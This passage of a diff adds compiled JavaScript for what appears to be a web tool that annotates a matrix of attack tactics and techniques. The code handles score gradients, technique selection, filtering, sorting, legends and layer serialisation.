end of the gradient + */ + Gradient.prototype.addColor = function () { + this.colors.push(new Gcolor(this.colors[this.colors.length - 1].color)); + }; + /** + * Remove color at the given index + * @param index index to remove color at + */ + Gradient.prototype.removeColor = function (index) { + this.colors.splice(index, 1); + }; + // get the gradient color for a given value in the scale. Value is string format number + Gradient.prototype.getColor = function (valueString) { + if (!this.gradient) + this.updateGradient(); + var value; + if (valueString.length == 0) + return; + else + value = Number(valueString); + if (value >= this.maxValue) { + return this.gradientRGB[this.gradientRGB.length - 1]; + } + if (value <= this.minValue) { + return this.gradientRGB[0]; + } + var index = (value - this.minValue) / (this.maxValue - this.minValue) * 100; + // console.log(value, "->", index) + return this.gradientRGB[Math.round(index)]; + }; + return Gradient; +}()); + +//a color in the gradient +var Gcolor = /** @class */ (function () { + function Gcolor(color) { + this.color = color; + } + Gcolor.ctorParameters = function () { return [ + { type: String } + ]; }; + return Gcolor; +}()); + +; +//semi-synonymous with "layer" +var ViewModel = /** @class */ (function () { + function ViewModel(name, domain, uid, dataService) { + var _this = this; + this.dataService = dataService; + this.description = ""; //layer description + this.version = ""; + this.metadata = []; + /* + * sorting int meanings (see filterTechniques()): + * 0: ascending alphabetically + * 1: descending alphabetically + * 2: ascending numerically + * 3: descending numerically + */ + this.sorting = 0; + this.layout = new LayoutOptions(); + this.hideDisabled = false; //are disabled techniques hidden? + this.gradient = new Gradient(); //gradient for scores + this.backgroundPresets = ['#e60d0d', '#fc3b3b', '#fc6b6b', '#fca2a2', '#e6550d', '#fd8d3c', '#fdae6b', '#fdd0a2', '#e6d60d', '#fce93b', '#fcf26b', '#fcf3a2', '#31a354', '#74c476', '#a1d99b', '#c7e9c0', '#3182bd', '#6baed6', '#9ecae1', '#c6dbef', '#756bb1', '#9e9ac8', '#bcbddc', '#dadaeb', '#636363', '#969696', '#bdbdbd', '#d9d9d9']; + this.legendColorPresets = []; + this.selectTechniquesAcrossTactics = true; + this.selectSubtechniquesWithParent = false; + this.needsToConstructTechniqueVMs = false; + this.legacyTechniques = []; + this.initializeScoresTo = ""; //value to initialize scores to + this.techIDtoUIDMap = {}; + this.techUIDtoIDMap = {}; + // changeTechniqueIDSelectionLock() { + // this.selectTechniquesAcrossTactics = !this.selectTechniquesAcrossTactics; + // } + this.showTacticRowBackground = false; + this.tacticRowBackground = "#dddddd"; + // getTechniqueIDFromUID(technique_tactic_union_id: string){ + // return this.techIDtoUIDMap[technique_tactic_union_id]; + // } + // getTechniquesUIDFromID(technique_id: string){ + // return this.techIDtoUIDMap[technique_id]; + // } + // setTechniqueMaps(techIDtoUIDMapt, techUIDtoIDMapt){ + // this.techIDtoUIDMap = Object.freeze(techIDtoUIDMapt); + // this.techUIDtoIDMap = Object.freeze(techUIDtoIDMapt); + // } + // _____ ___ ___ _ _ _ _ ___ ___ _ _ ___ _ ___ ___ + // |_ _| __/ __| || | \| |_ _/ _ \| | | | __| /_\ | _ \_ _| + // | | | _| (__| __ | .` || | (_) | |_| | _| / _ \| _/| | + // |_| |___\___|_||_|_|\_|___\__\_\\___/|___| /_/ \_\_| |___| + this.techniqueVMs = new Map(); //configuration for each technique + // ___ ___ ___ _____ ___ _ _ ___ _ ___ ___ + // | __| \_ _|_ _|_ _| \| |/ __| /_\ | _ \_ _| + // | _|| |) | | | | | || .` | (_ | / _ \| _/| | + // |___|___/___| |_| |___|_|\_|\___| /_/ \_\_| |___| + this.highlightedTactic = null; + this.highlightedTechnique = null; + /** + * currently selected techniques in technique_tactic_id format + */ + this.selectedTechniques = new Set(); + //currently selected tactic + this.selectedTactic = null; + this.legendItems = []; + this.domain = domain; + console.log("initializing ViewModel '" + name + "'"); + this.filters = new Filter(this.domain); + this.name = name; + this.version = _globals__WEBPACK_IMPORTED_MODULE_2__["layer_version"]; + this.uid = uid; + if (!this.dataService.dataLoaded) { + console.log("subscribing to data loaded callback"); + this.dataService.onDataLoad(function () { return _this.initTechniqueVMs(); }); //arrow function preserves `this` in callback + } + else { + this.initTechniqueVMs(); + } + } + ViewModel.prototype.initTechniqueVMs = function () { + console.log(this.name, "initializing technique VMs"); + for (var _i = 0, _a = this.dataService.techniques; _i < _a.length; _i++) { + var technique = _a[_i]; + for (var _b = 0, _c = technique.get_all_technique_tactic_ids(); _b < _c.length; _b++) { + var id = _c[_b]; + var techniqueVM = new TechniqueVM(id); + techniqueVM.score = this.initializeScoresTo; + this.setTechniqueVM(techniqueVM, false); + } + //init subtechniques + for (var _d = 0, _e = technique.subtechniques; _d < _e.length; _d++) { + var subtechnique = _e[_d]; + for (var _f = 0, _g = subtechnique.get_all_technique_tactic_ids(); _f < _g.length; _f++) { + var id = _g[_f]; + var techniqueVM = new TechniqueVM(id); + techniqueVM.score = this.initializeScoresTo; + this.setTechniqueVM(techniqueVM, false); + } + } + } + }; + // Getter + ViewModel.prototype.getTechniqueVM = function (technique, tactic) { + if (!this.hasTechniqueVM(technique, tactic)) + throw Error("technique VM not found: " + technique.attackID + ", " + tactic.attackID); + return this.techniqueVMs.get(technique.get_technique_tactic_id(tactic)); + }; + ViewModel.prototype.getTechniqueVM_id = function (technique_tactic_id) { + if (!this.hasTechniqueVM_id(technique_tactic_id)) + throw Error("technique VM not found: " + technique_tactic_id); + return this.techniqueVMs.get(technique_tactic_id); + }; + /** + * setter + * @param {techniqueVM} techniqueVM: the techniqueVM to set + * @param {boolean} overwrite (default true) if true, overwrite existing techniqueVMs under that ID. + */ + ViewModel.prototype.setTechniqueVM = function (techniqueVM, overwrite) { + if (overwrite === void 0) { overwrite = true; } + if (this.techniqueVMs.has(techniqueVM.technique_tactic_union_id)) { + if (overwrite) + this.techniqueVMs.delete(techniqueVM.technique_tactic_union_id); + else + return; + } + this.techniqueVMs.set(techniqueVM.technique_tactic_union_id, techniqueVM); + }; + //checker + ViewModel.prototype.hasTechniqueVM = function (technique, tactic) { + return this.techniqueVMs.has(technique.get_technique_tactic_id(tactic)); + }; + ViewModel.prototype.hasTechniqueVM_id = function (technique_tactic_id) { + return this.techniqueVMs.has(technique_tactic_id); + }; + /** + * Highlight the given technique under the given tactic + * @param {Technique} technique to highlight + * @param {Tactic} tactic wherein the technique occurs + */ + ViewModel.prototype.highlightTechnique = function (technique, tactic) { + this.highlightedTechnique = technique; + this.highlightedTactic = tactic; + }; + /** + * Clear the technique highlight + */ + ViewModel.prototype.clearHighlight = function () { + this.highlightedTactic = null; + this.highlightedTechnique = null; + }; + /** + * Select the given technique. Depending on selectTechniquesAcrossTactics, either selects in all tactics or in given tactic + * @param {Technique} technique to select + * @param {Tactic} tactic wherein the technique occurs + */ + ViewModel.prototype.selectTechnique = function (technique, tactic) { + if (this.selectTechniquesAcrossTactics) + this.selectTechniqueAcrossTactics(technique); + else + (this.selectTechniqueInTactic(technique, tactic)); + }; + /** + * unselect the given technique. Depending on selectTechniquesAcrossTactics, either unselects in all tactics or in given tactic + * @param {Technique} technique to select + * @param {Tactic} tactic wherein the technique occurs + */ + ViewModel.prototype.unselectTechnique = function (technique, tactic) { + if (this.selectTechniquesAcrossTactics) + this.unselectTechniqueAcrossTactics(technique); + else + (this.unselectTechniqueInTactic(technique, tactic)); + }; + /** + * select the given technique in the given tactic + * @param {Technique} technique to select + * @param {Tactic} tactic wherein the technique occurs + * @param {boolean} walkChildren (recursion helper) if true and selectSubtechniquesWithParent is true, walk selection up to parent technique + */ + ViewModel.prototype.selectTechniqueInTactic = function (technique, tactic, walkChildren) { + if (walkChildren === void 0) { walkChildren = true; } + if (this.selectSubtechniquesWithParent && walkChildren) { //check parent / children / siblings + if (technique.isSubtechnique) { //select from parent + this.selectTechniqueInTactic(technique.parent, tactic, true); + return; + } + else { //select subtechniques + for (var _i = 0, _a = technique.subtechniques; _i < _a.length; _i++) { + var subtechnique = _a[_i]; + this.selectTechniqueInTactic(subtechnique, tactic, false); + } + } + } + this.selectedTechniques.add(technique.get_technique_tactic_id(tactic)); + }; + /** + * select the given technque across all tactics in which it occurs + * @param {Technique} technique to select + * @param {boolean} walkChildren (recursion helper) if true and selectSubtechniquesWithParent is true, walk selection up to parent technique + */ + ViewModel.prototype.selectTechniqueAcrossTactics = function (technique, walkChildren) { + if (walkChildren === void 0) { walkChildren = true; } + if (this.selectSubtechniquesWithParent && walkChildren) { //walk to parent / children / siblings + if (technique.isSubtechnique) { //select from parent + this.selectTechniqueAcrossTactics(technique.parent, true); + return; + } + else { //select subtechniques + for (var _i = 0, _a = technique.subtechniques; _i < _a.length; _i++) { + var subtechnique = _a[_i]; + this.selectTechniqueAcrossTactics(subtechnique, false); + } + } + } + for (var _b = 0, _c = technique.get_all_technique_tactic_ids(); _b < _c.length; _b++) { + var id = _c[_b]; + this.selectedTechniques.add(id); + } + }; + /** + * unselect the given technique in the given tactic + * @param {Technique} technique to unselect + * @param {Tactic} tactic wherein the technique occurs + * @param {boolean} walkChildren (recursion helper) if true and selectSubtechniquesWithParent is true, walk selection up to parent technique + */ + ViewModel.prototype.unselectTechniqueInTactic = function (technique, tactic, walkChildren) { + if (walkChildren === void 0) { walkChildren = true; } + if (this.selectSubtechniquesWithParent && walkChildren) { //walk to parent / children / siblings + if (technique.isSubtechnique) { //select from parent + this.unselectTechniqueInTactic(technique.parent, tactic, true); + return; + } + else { //select subtechniques + for (var _i = 0, _a = technique.subtechniques; _i < _a.length; _i++) { + var subtechnique = _a[_i]; + this.unselectTechniqueInTactic(subtechnique, tactic, false); + } + } + } + this.selectedTechniques.delete(technique.get_technique_tactic_id(tactic)); + }; + /** + * unselect the given technque across all tactics in which it occurs + * @param {Technique} technique to unselect + * @param {boolean} walkChildren (recursion helper) if true and selectSubtechniquesWithParent is true, walk selection up to parent technique + */ + ViewModel.prototype.unselectTechniqueAcrossTactics = function (technique, walkChildren) { + if (walkChildren === void 0) { walkChildren = true; } + if (this.selectSubtechniquesWithParent && walkChildren) { //walk to parent / children / siblings + if (technique.isSubtechnique) { //select from parent + this.unselectTechniqueAcrossTactics(technique.parent, true); + return; + } + else { //select subtechniques + for (var _i = 0, _a = technique.subtechniques; _i < _a.length; _i++) { + var subtechnique = _a[_i]; + this.unselectTechniqueAcrossTactics(subtechnique, false); + } + } + } + for (var _b = 0, _c = technique.get_all_technique_tactic_ids(); _b < _c.length; _b++) { + var id = _c[_b]; + this.selectedTechniques.delete(id); + } + }; + /** + * unselect all techniques + */ + ViewModel.prototype.clearSelectedTechniques = function () { + this.selectedTechniques.clear(); + }; + /** + * Select all techniques + */ + ViewModel.prototype.selectAllTechniques = function () { + this.clearSelectedTechniques(); + this.invertSelection(); + }; + /** + * Set all selected techniques to deselected, and select all techniques not currently selected + */ + ViewModel.prototype.invertSelection = function () { + var previouslySelected = new Set(this.selectedTechniques); + this.clearSelectedTechniques(); + var self = this; + this.techniqueVMs.forEach(function (tvm, key) { + if (!previouslySelected.has(tvm.technique_tactic_union_id)) + self.selectedTechniques.add(tvm.technique_tactic_union_id); + }); + }; + /** + * Select all techniques with annotations if nothing is currently selected, or select a subset of + * the current selection that has annotations + */ + ViewModel.prototype.selectAnnotated = function () { + var self = this; + if (this.isCurrentlyEditing()) { + // deselect techniques without annotations + var selected_1 = new Set(this.selectedTechniques); + this.techniqueVMs.forEach(function (tvm, key) { + if (selected_1.has(tvm.technique_tactic_union_id) && !tvm.annotated()) + self.selectedTechniques.delete(tvm.technique_tactic_union_id); + }); + } + else { + // select all techniques with annotations + this.techniqueVMs.forEach(function (tvm, key) { + if (tvm.annotated()) + self.selectedTechniques.add(tvm.technique_tactic_union_id); + }); + } + }; + /** + * Select all techniques without annotations if nothing is currently selected, or select a subset of + * the current selection that do not have annotations + */ + ViewModel.prototype.selectUnannotated = function () { + var self = this; + if (this.isCurrentlyEditing()) { + // deselect techniques with annotations + var selected_2 = new Set(this.selectedTechniques); + this.techniqueVMs.forEach(function (tvm, key) { + if (selected_2.has(tvm.technique_tactic_union_id) && tvm.annotated()) + self.selectedTechniques.delete(tvm.technique_tactic_union_id); + }); + } + else { + // select all techniques without annotations + this.selectAnnotated(); + this.invertSelection(); + } + }; + /** + * Return true if the given technique is selected, false otherwise + * @param {Technique} technique the technique to check + * * @param {Tactic} tactic wherein the technique occurs + * @return {boolean} true if selected, false otherwise + */ + ViewModel.prototype.isTechniqueSelected = function (technique, tactic, walkChildren) { + if (walkChildren === void 0) { walkChildren = true; } + if (this.selectTechniquesAcrossTactics) { + if (this.selectSubtechniquesWithParent && walkChildren) { //check parent / children / siblings + if (technique.isSubtechnique) { //select from parent + return this.isTechniqueSelected(technique.parent, tactic, true); + } + else { + for (var _i = 0, _a = technique.subtechniques; _i < _a.length; _i++) { + var subtechnique = _a[_i]; + if (this.isTechniqueSelected(subtechnique, tactic, false)) + return true; + } + } + } + for (var _b = 0, _c = technique.get_all_technique_tactic_ids(); _b < _c.length; _b++) { + var id = _c[_b]; + if (this.selectedTechniques.has(id)) + return true; + } + return false; + } + else { + if (this.selectSubtechniquesWithParent && walkChildren) { //check parent / children / siblings + if (technique.isSubtechnique) { //select from parent + return this.isTechniqueSelected(technique.parent, tactic, true); + } + else { + for (var _d = 0, _e = technique.subtechniques; _d < _e.length; _d++) { + var subtechnique = _e[_d]; + if (this.isTechniqueSelected(subtechnique, tactic, false)) + return true; + } + } + } + return this.selectedTechniques.has(technique.get_technique_tactic_id(tactic)); + } + }; + /** + * return the number of selected techniques + * @return {number} the number of selected techniques + */ + ViewModel.prototype.getSelectedTechniqueCount = function () { + if (this.selectTechniquesAcrossTactics) { + if (this.selectSubtechniquesWithParent) { + // match across tactics + // match subtechniques and parents + // matches this part + // vvvvv + // T1001.001^TA1000 + var ids_1 = new Set(); + this.selectedTechniques.forEach(function (unionID) { return ids_1.add(unionID.split("^")[0].split(".")[0]); }); + return ids_1.size; + } + else { + // match across tactics + // differentiate subtechniques and parents + // matches this part + // vvvvv vvv + // T1001.001^TA1000 + var ids_2 = new Set(); + this.selectedTechniques.forEach(function (unionID) { return ids_2.add(unionID.split("^")[0]); }); + return ids_2.size; + } + } + else { + if (this.selectSubtechniquesWithParent) { + // differentiate tactics + // match subtechniques and parents + // matches this part + // vvvvv vvvvvv + // T1001.001^TA1000 + var ids_3 = new Set(); + this.selectedTechniques.forEach(function (unionID) { + var split = unionID.split("^"); + var tacticID = split[1]; + var techniqueID = split[0].split(".")[0]; + ids_3.add(techniqueID + "^" + tacticID); + }); + return ids_3.size; + } + else { + // differentiate tactics + // differentiate subtechniques and parents + // matches this part + // vvvvv vvv vvvvvv + // T1001.001^TA1000 + return this.selectedTechniques.size; + } + } + }; + /** + * Select the given tactic + * @param {Tactic} tactic to select + */ + ViewModel.prototype.selectTactic = function (tactic) { + this.selectedTactic = tactic; + }; + /** + * clear the selected tactic + */ + ViewModel.prototype.clearSelectedTactic = function () { + this.selectedTactic = null; + }; + /** + * get the currently selected tactic + * @return {Tactic} the tactic that is currently selected, or null if none is selected + */ + ViewModel.prototype.hasSelectedTactic = function () { + return this.selectedTactic != null; + }; + /** + * Returns true if the given tactic is selected + * @param {Tactic} tactic to check + * @return {boolean} true if selected + */ + ViewModel.prototype.isTacticSelected = function (tactic) { + if (!this.hasSelectedTactic()) + return false; + else + return this.selectedTactic.id == tactic.id; + }; + /** + * Return true if currently editing any techniques, false otherwise + * @return {boolean} true if currently editing any techniques, false otherwise + */ + ViewModel.prototype.isCurrentlyEditing = function () { + return this.getSelectedTechniqueCount() > 0; + }; + /** + * edit the selected techniques + * @param {string} field the field to edit + * @param {any} value the value to place in the field + */ + ViewModel.prototype.editSelectedTechniques = function (field, value) { + var _this = this; + this.selectedTechniques.forEach(function (id) { + _this.getTechniqueVM_id(id)[field] = value; + }); + }; + /** + * Reset the selected techniques' annotations to their default values + */ + ViewModel.prototype.resetSelectedTechniques = function () { + var _this = this; + this.selectedTechniques.forEach(function (id) { + _this.getTechniqueVM_id(id).score = ""; + _this.getTechniqueVM_id(id).comment = ""; + _this.getTechniqueVM_id(id).color = ""; + _this.getTechniqueVM_id(id).enabled = true; + }); + }; + /** + * Get get a common value from the selected techniques + * @param field the field to get the common value from + * @return the value of the field if all selected techniques have the same value, otherwise "" + */ + ViewModel.prototype.getEditingCommonValue = function (field) { + if (!this.isCurrentlyEditing()) + return ""; + var ids = Array.from(this.selectedTechniques); + var commonValue = this.getTechniqueVM_id(ids[0])[field]; + for (var i = 1; i < ids.length; i++) { + if (this.getTechniqueVM_id(ids[i])[field] != commonValue) + return ""; + } + return commonValue; + }; + /** + * add a new blank metadata to the metadata list, for editing in UI + */ + ViewModel.prototype.addMetadata = function () { + var m = new Metadata(); + this.metadata.push(m); + }; + /** + * remove a metadata from the metadata list + * @param index the index to remove from the list + */ + ViewModel.prototype.removeMetadata = function (index) { + this.metadata.splice(index, 1); + }; + // oooooooo8 o8 o88 ooooooooooo o88 o888 o8 + // 888 ooooooo oo oooooo o888oo o88 888 88 oooo 888 o888oo ooooooooo8 oo oooooo + // 888oooooo 888 888 888 888 888 o88 888ooo8 888 888 888 888oooooo8 888 888 + // 888 888 888 888 888 o88 888 888 888 888 888 888 + // o88oooo888 88ooo88 o888o 888o o88 o888o o888o o888o 888o 88oooo888 o888o + // o88 + // ooooo ooooo o888 + // 888 888 ooooooooo8 888 ooooooooo ooooooooo8 oo oooooo oooooooo8 + // 888ooo888 888oooooo8 888 888 888 888oooooo8 888 888 888ooooooo + // 888 888 888 888 888 888 888 888 888 + // o888o o888o 88oooo888 o888o 888ooo88 88oooo888 o888o 88oooooo88 + // o888 + /** + * filter tactics according to viewmodel state + * @param {Tactic[]} tactics to filter + * @param {Matrix} matrix that the tactics fall under + * @returns {Tactic[]} filtered tactics + */ + ViewModel.prototype.filterTactics = function (tactics, matrix) { + var _this = this; + return tactics.filter(function (tactic) { return _this.filterTechniques(tactic.techniques, tactic, matrix).length > 0; }); + }; + /** + * filter techniques according to viewModel state + * @param {Technique[]} techniques list of techniques to filter + * @param {Tactic} tactic tactic the techniques fall under + * @param {Matrix} matrix that the techniques fall under + * @returns {Technique[]} filtered techniques + */ + ViewModel.prototype.filterTechniques = function (techniques, tactic, matrix) { + var _this = this; + return techniques.filter(function (technique) { + var techniqueVM = _this.getTechniqueVM(technique, tactic); + // filter by enabled + if (_this.hideDisabled && !techniqueVM.enabled) + return false; + if (matrix.name == "PRE-ATT&CK") + return true; // don't filter by platform if it's pre-attack + // filter by platform + var platforms = new Set(technique.platforms); + for (var _i = 0, _a = _this.filters.platforms.selection; _i < _a.length; _i++) { + var platform = _a[_i]; + if (platforms.has(platform)) + return true; //platform match + } + return false; //no platform match + }); + }; + /** + * sort techniques accoding to viewModel state + * @param {Technique[]} techniques techniques to sort + * @param {Tactic} tactic tactic the techniques fall under + * @returns {Technique[]} sorted techniques + */ + ViewModel.prototype.sortTechniques = function (techniques, tactic) { + var _this = this; + return techniques.sort(function (technique1, technique2) { + var techniqueVM1 = _this.getTechniqueVM(technique1, tactic); + var techniqueVM2 = _this.getTechniqueVM(technique2, tactic); + var score1 = techniqueVM1.score.length > 0 ? Number(techniqueVM1.score) : 0; + var score2 = techniqueVM2.score.length > 0 ? Number(techniqueVM2.score) : 0; + switch (_this.sorting) { + default: + case 0: + return technique1.name.localeCompare(technique2.name); + case 1: + return technique2.name.localeCompare(technique1.name); + case 2: + if (score1 === score2) + return technique1.name.localeCompare(technique2.name); + else + return score1 - score2; + case 3: + if (score1 === score2) + return technique1.name.localeCompare(technique2.name); + else + return score2 - score1; + } + }); + }; + /** + * apply sort and filter state to techniques + * @param {Technique[]} techniques techniques to sort and filter + * @param {Tactic} tactic that the techniques fall under + * @param {Matrix} matrix that the techniques fall under + * @returns {Technique[]} sorted and filtered techniques + */ + ViewModel.prototype.applyControls = function (techniques, tactic, matrix) { + //apply sort and filter + return this.sortTechniques(this.filterTechniques(techniques, tactic, matrix), tactic); + }; + // ___ ___ ___ ___ _ _ ___ ____ _ _____ ___ ___ _ _ + // / __| __| _ \_ _| /_\ | | |_ _|_ / /_\_ _|_ _/ _ \| \| | + // \__ \ _|| /| | / _ \| |__ | | / / / _ \| | | | (_) | .` | + // |___/___|_|_\___/_/ \_\____|___/___/_/ \_\_| |___\___/|_|\_| + /** + * stringify this vm + * @return string representation + */ + ViewModel.prototype.serialize = function () { + var modifiedTechniqueVMs = []; + var self = this; + this.techniqueVMs.forEach(function (value, key) { + if (value.modified()) + modifiedTechniqueVMs.push(JSON.parse(value.serialize())); //only save techniqueVMs which have been modified + }); + var rep = {}; + rep.name = this.name; + rep.version = String(this.version); + rep.domain = this.domain; + rep.description = this.description; + rep.filters = JSON.parse(this.filters.serialize()); + rep.sorting = this.sorting; + rep.layout = this.layout.serialize(); + rep.hideDisabled = this.hideDisabled; + rep.techniques = modifiedTechniqueVMs; + rep.gradient = JSON.parse(this.gradient.serialize()); + rep.legendItems = JSON.parse(JSON.stringify(this.legendItems)); + rep.metadata = this.metadata.filter(function (m) { return m.valid(); }).map(function (m) { return m.serialize(); }); + rep.showTacticRowBackground = this.showTacticRowBackground; + rep.tacticRowBackground = this.tacticRowBackground; + rep.selectTechniquesAcrossTactics = this.selectTechniquesAcrossTactics; + rep.selectSubtechniquesWithParent = this.selectSubtechniquesWithParent; + return JSON.stringify(rep, null, "\t"); + }; + /** + * restore this vm from a string + * @param rep string to restore from + */ + ViewModel.prototype.deSerialize = function (rep) { + var obj = (typeof (rep) == "string") ? JSON.parse(rep) : rep; + this.name = obj.name; + this.domain = obj.domain; + if (obj.version !== _globals__WEBPACK_IMPORTED_MODULE_2__["layer_version"]) { + alert("WARNING: Uploaded layer version (" + String(obj.version) + ") does not match Navigator's layer version (" + + String(_globals__WEBPACK_IMPORTED_MODULE_2__["layer_version"]) + "). The layer configuration may not be fully restored."); + } + if ("description" in obj) { + if (typeof (obj.description) === "string") + this.description = obj.description; + else + console.error("TypeError: description field is not a string"); + } + if ("filters" in obj) { + this.filters.deSerialize(obj.filters); + } + if ("sorting" in obj) { + if (typeof (obj.sorting) === "number") + this.sorting = obj.sorting; + else + console.error("TypeError: sorting field is not a number"); + } + if ("hideDisabled" in obj) { + if (typeof (obj.hideDisabled) === "boolean") + this.hideDisabled = obj.hideDisabled; + else + console.error("TypeError: hideDisabled field is not a boolean"); + } + if ("gradient" in obj) { + this.gradient = new Gradient(); + this.gradient.deSerialize(JSON.stringify(obj.gradient)); + } + if ("legendItems" in obj) { + for (var i = 0; i < obj.legendItems.length; i++) { + var legendItem = { + color: "#defa217", + label: "default label" + }; + if (!("label" in obj.legendItems[i])) { + console.error("Error: LegendItem required field 'label' not present"); + continue; + } + if (!("color" in obj.legendItems[i])) { + console.error("Error: LegendItem required field 'label' not present"); + continue; + } + if (typeof (obj.legendItems[i].label) === "string") { + legendItem.label = obj.legendItems[i].label; + } + else { + console.error("TypeError: legendItem label field is not a string"); + continue; + } + if (typeof (obj.legendItems[i].color) === "string" && tinycolor(obj.legendItems[i].color).isValid()) { + legendItem.color = obj.legendItems[i].color; + } + else { + console.error("TypeError: legendItem color field is not a color-string:", obj.legendItems[i].color, "(", typeof (obj.legendItems[i].color), ")"); + continue; + } + this.legendItems.push(legendItem); + } + } + if ("showTacticRowBackground" in obj) { + if (typeof (obj.showTacticRowBackground) === "boolean") + this.showTacticRowBackground = obj.showTacticRowBackground; + else + console.error("TypeError: showTacticRowBackground field is not a boolean"); + } + if ("tacticRowBackground" in obj) { + if (typeof (obj.tacticRowBackground) === "string" && tinycolor(obj.tacticRowBackground).isValid()) + this.tacticRowBackground = obj.tacticRowBackground; + else + console.error("TypeError: tacticRowBackground field is not a color-string:", obj.tacticRowBackground, "(", typeof (obj.tacticRowBackground), ")"); + } + if ("selectTechniquesAcrossTactics" in obj) { + if (typeof (obj.selectTechniquesAcrossTactics) === "boolean") + this.selectTechniquesAcrossTactics = obj.selectTechniquesAcrossTactics; + else + console.error("TypeError: selectTechniquesAcrossTactics field is not a boolean"); + } + if ("selectSubtechniquesWithParent" in obj) { + if (typeof (obj.selectSubtechniquesWithParent) === "boolean") + this.selectSubtechniquesWithParent = obj.selectSubtechniquesWithParent; + else + console.error("TypeError: selectSubtechniquesWithParent field is not a boolean"); + } + if ("techniques" in obj) { + if (obj.techniques.length > 0) { + for (var i = 0; i < obj.techniques.length; i++) { + var obj_technique = obj.techniques[i]; + if ("tactic" in obj_technique) { + var tvm = new TechniqueVM(""); + tvm.deSerialize(JSON.stringify(obj_technique), obj_technique.techniqueID, obj_technique.tactic); + this.setTechniqueVM(tvm); + } + else { + // occurs in multiple tactics + // match to Technique by attackID + for (var _i = 0, _a = this.dataService.techniques; _i < _a.length; _i++) { + var technique = _a[_i]; + if (technique.attackID == obj_technique.techniqueID) { + // match technique + for (var _b = 0, _c = technique.tactics; _b < _c.length; _b++) { + var tactic = _c[_b]; + var tvm = new TechniqueVM(""); + tvm.deSerialize(JSON.stringify(obj_technique), obj_technique.techniqueID, tactic); + this.setTechniqueVM(tvm); + } + break; + } + //check against subtechniques + for (var _d = 0, _e = technique.subtechniques; _d < _e.length; _d++) { + var subtechnique = _e[_d]; + if (subtechnique.attackID == obj_technique.techniqueID) { + for (var _f = 0, _g = subtechnique.tactics; _f < _g.length; _f++) { + var tactic = _g[_f]; + var tvm = new TechniqueVM(""); + tvm.deSerialize(JSON.stringify(obj_technique), obj_technique.techniqueID, tactic); + this.setTechniqueVM(tvm); + } + break; + } + } + } + } + } + } + } + if ("metadata" in obj) { + for (var _h = 0, _j = obj.metadata; _h < _j.length; _h++) { + var metadataObj = _j[_h]; + var m = new Metadata(); + m.deSerialize(metadataObj); + if (m.valid()) + this.metadata.push(m); + } + } + if ("layout" in obj) { + this.layout.deserialize(obj.layout); + } + else if ("viewMode" in obj) { + /* + * viewMode backwards compatibility: + * 0: full table (side layout, show name) + * 1: compact table (side layout, show ID) + * 2: mini table (mini layout, show neither name nor ID) + */ + if (typeof (obj.viewMode) === "number") { + switch (obj.viewMode) { + default: + case 0: + break; //default matrix layout already initialized + case 1: + this.layout.layout = "side"; + this.layout.showName = false; + this.layout.showID = true; + break; + case 2: + this.layout.layout = "mini"; + this.layout.showName = false; + this.layout.showID = false; + } + } + else + console.error("TypeError: viewMode field is not a number"); + } + this.updateGradient(); + }; + /** + * Add a color to the end of the gradient + */ + ViewModel.prototype.addGradientColor = function () { + this.gradient.addColor(); + this.updateGradient(); + }; + /** + * Remove color at the given index + * @param index index to remove color at + */ + ViewModel.prototype.removeGradientColor = function (index) { + this.gradient.removeColor(index); + this.updateGradient(); + }; + /** + * Update this vm's gradient + */ + ViewModel.prototype.updateGradient = function () { + console.log("updating gradient"); + this.gradient.updateGradient(); + var self = this; + this.techniqueVMs.forEach(function (tvm, key) { + tvm.scoreColor = self.gradient.getColor(tvm.score); + }); + this.updateLegendColorPresets(); + }; + ViewModel.prototype.addLegendItem = function () { + var newObj = { + label: "NewItem", + color: '#00ffff' + }; + this.legendItems.push(newObj); + }; + ViewModel.prototype.deleteLegendItem = function (index) { + this.legendItems.splice(index, 1); + }; + ViewModel.prototype.clearLegend = function () { + this.legendItems = []; + }; + ViewModel.prototype.updateLegendColorPresets = function () { + this.legendColorPresets = []; + for (var i = 0; i < this.backgroundPresets.length; i++) { + this.legendColorPresets.push(this.backgroundPresets[i]); + } + for (var i = 0; i < this.gradient.colors.length; i++) { + this.legendColorPresets.push(this.gradient.colors[i].color); + } + }; + /** + * return an acronym version of the given string + * @param words the string of words to get the acrnoym of + * @return the acronym string + */ + ViewModel.prototype.acronym = function (words) { + var skipWords = ["on", "and", "the", "with", "a", "an", "of", "in", "for", "from"]; + var result = ""; + var wordSplit = words.split(" "); + if (wordSplit.length > 1) { + var wordIndex = 0; + // console.log(wordSplit); + while (result.length < 4 && wordIndex < wordSplit.length) { + if (skipWords.includes(wordSplit[wordIndex].toLowerCase())) { + wordIndex++; + continue; + } + //find first legal char of word + for (var charIndex = 0; charIndex < wordSplit[wordIndex].length; charIndex++) { + var code = wordSplit[wordIndex].charCodeAt(charIndex); + if (code < 48 || (code > 57 && code < 65) || (code > 90 && code < 97) || code > 122) { //illegal character + continue; + } + else { + result += wordSplit[wordIndex].charAt(charIndex).toUpperCase(); + break; + } + } + wordIndex++; + } + return result; + } + else { + return wordSplit[0].charAt(0).toUpperCase(); + } + }; + ViewModel.ctorParameters = function () { return [ + { type: String }, + { type: String }, + { type: String }, + { type: _data_service__WEBPACK_IMPORTED_MODULE_1__["DataService"] } + ]; }; + return ViewModel; +}()); + +// the viewmodel for a specific technique +var TechniqueVM = /** @class */ (function () { + function TechniqueVM(technique_tactic_union_id) { + this.score = ""; + this.color = ""; //manually assigned color-class name + this.enabled = true; + this.comment = ""; + this.metadata = []; + this.showSubtechniques = false; + this.technique_tactic_union_id = technique_tactic_union_id; + var idSplit = technique_tactic_union_id.split("^"); + this.techniqueID = idSplit[0]; + this.tactic = idSplit[1]; + } + //print this object to the console + TechniqueVM.prototype.print = function () { + console.log(this.serialize()); + console.log(this); + }; + /** + * Has this TechniqueVM been modified from its initialized state? + * @return true if it has been modified, false otherwise + */ + TechniqueVM.prototype.modified = function () { + return (this.score != "" || this.color != "" || !this.enabled || this.comment != "" || this.showSubtechniques); + }; + /** + * Check if this TechniqueVM has been annotated + * @return true if it has annotations, false otherwise + */ + TechniqueVM.prototype.annotated = function () { + return (this.score != "" || this.color != "" || !this.enabled || this.comment != ""); + }; + /** + * Convert to string representation + * @return string representation + */ + TechniqueVM.prototype.serialize = function () { + var rep = {}; + rep.techniqueID = this.techniqueID; + rep.tactic = this.tactic; + if (this.score !== "" && !(isNaN(Number(this.score)))) + rep.score = Number(this.score); + rep.color = this.color; + rep.comment = this.comment; + rep.enabled = this.enabled; + rep.metadata = this.metadata.filter(function (m) { return m.valid(); }).map(function (m) { return m.serialize(); }); + rep.showSubtechniques = this.showSubtechniques; + 